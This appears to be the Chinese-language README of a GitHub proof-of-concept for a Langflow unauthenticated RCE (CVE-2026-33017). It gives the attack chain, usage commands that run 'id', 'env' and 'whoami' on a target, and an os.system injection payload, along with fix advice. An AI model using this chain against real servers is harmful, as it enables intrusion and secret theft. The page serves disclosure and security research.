r3nsi15/CVE-2026-33017-langflow-rce

GitHub: r3nsi15/CVE-2026-33017-langflow-rce

这是一个针对 Langflow 未授权远程代码执行漏洞 CVE-2026-33017 的概念验证利用脚本,能自动获得 token 并注入恶意 CustomComponent 代码实现命令执行。

Stars: 0 | Forks: 0

# CVE-2026-33017 — Langflow 未授权远程代码执行 (RCE) ## 概述 **CVE ID:** CVE-2026-33017 **受影响软件:** Langflow **受影响版本:** <= 1.8.2 **修复版本:** >= 1.9.0 **严重性:** 严重 **作者:** r3nsi15 **日期:** 2026 ## 描述 Langflow 暴露了一个公共 flow 构建端点(`/api/v1/build_public_tmp/{flowID}/flow`),该端点接受 任意 `CustomComponent` 代码块,并在无需认证的情况下在服务端执行它们。通过 在 `CustomComponent` 节点的 `code` 字段中注入恶意 Python 载荷,一个未经过身份验证的 攻击者能够以 Langflow 服务器进程的权限执行任意操作系统命令。 攻击链首先滥用 `/api/v1/auto_login` 端点,该端点在 Langflow 运行在默认的 auto-login 配置下时, 无需凭证即可颁发一个 bearer token。然后使用该 token 创建一个临时公共 flow,并通过构建 端点触发服务端代码执行。 ## 受影响端点 | 端点 | 方法 | 需要认证 | 用途 | |---|---|---|---| | `/api/v1/auto_login` | GET | 否 | 获取 bearer token(必须启用 auto-login) | | `/api/v1/flows/` | POST | 是 (Bearer) | 创建一个新 flow | | `/api/v1/build_public_tmp/{flowID}/flow` | POST | 否(公共) | 触发构建 — **漏洞执行点** | | `/api/v1/flows/{flowID}` | DELETE | 是 (Bearer) | 清理已创建的 flow | ## 概念验证 **文件:** `CVE-2026-33017_POC.py` ### 要求 - Python 3.x - `requests` 库 - 能够访问一个启用了 auto-login 的 Langflow 实例 ``` pip install requests ``` ### 用法 ``` python3 CVE-2026-33017_POC.py -u -c [-d] ``` ### 参数 | 标志 | 长格式 | 必需 | 描述 | |---|---|---|---| | `-u` | `--url` | 是 | Langflow 实例的基础 URL | | `-c` | `--command` | 是 | 要在服务器上执行的 OS 命令 | | `-d` | `--delete` | 否 | 在利用后删除已创建的 flow | ### 示例 **验证代码执行:** ``` python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "id" ``` **获取服务器环境变量:** ``` python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "env" ``` **在利用后保持 flow 存活(跳过清理):** ``` python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "whoami" -d ``` ### 预期输出 ``` [+] Got token [+] Created flow with id: [+] Exploit sent successfully! [+] Flow deleted successfully! ``` ## 载荷分解 该漏洞利用将以下 Python 片段注入到 `CustomComponent` 节点的 `code` 字段中: ``` from langflow.custom import Component from langflow.io import Output _r = __import__('os').system() class ExploitComponent(Component): display_name = "ExploitComponent" outputs = [Output(display_name="Result", name="output", method="run")] def run(self): return "ok" ``` - `__import__('os').system(...)` - 动态导入 `os` 模块并执行攻击者提供的 shell 命令。 - 类定义的其余部分是一个有效的 `CustomComponent`,用于满足 Langflow 的组件加载器而不引发解析错误。 - flow 被创建为 `PUBLIC` 类型,并且在其公共端点上调用构建端点,这意味着 **无需 session cookie 或认证 token** 即可触发执行。 ## 根本原因 Langflow 的 `CustomComponent` 系统允许将任意 Python 代码作为 flow 定义的一部分提交。 `/api/v1_public_tmp/{flowID}/flow` 端点在服务端构建并部分执行该代码,包括模块级语句, 而没有使用沙箱或限制对 Python 内置函数(如 `__import__`)的访问。 ## 攻击链总结 ``` 1. GET /api/v1/auto_login → Obtain Bearer token (no credentials needed) 2. POST /api/v1/flows/ → Create a PUBLIC flow (Bearer token) 3. POST /api/v1/build_public_tmp/ → Inject & execute malicious CustomComponent (no auth) 4. DELETE /api/v1/flows/{id} → Clean up (optional) ``` 针对默认部署的 Langflow,匿名攻击者可以执行上述所有四个步骤。 ## 修复建议 - **升级** Langflow 至 1.9.0 或更高版本。 - 在任何面向互联网的部署中**禁用 auto-login**(`LANGFLOW_AUTO_LOGIN=false`)。 ## 免责声明 此概念验证仅用于**教育和授权的安全研究目的**。 未经明确书面许可,将此脚本用于任何系统是非法的且不道德的。 作者和贡献者不对滥用行为承担任何责任。
标签:API安全, CISA项目, CVE, HTTP接口, JSON输出, Langflow, Python, RCE, 事件响应, 低代码平台, 威胁模拟, 安全漏洞, 恶意软件库, 攻击利用, 数字签名, 无后门, 服务器端执行, 未授权访问, 漏洞, 编程工具, 网络安全, 自动化攻击, 认证绕过, 远程代码执行, 逆向工具, 隐私保护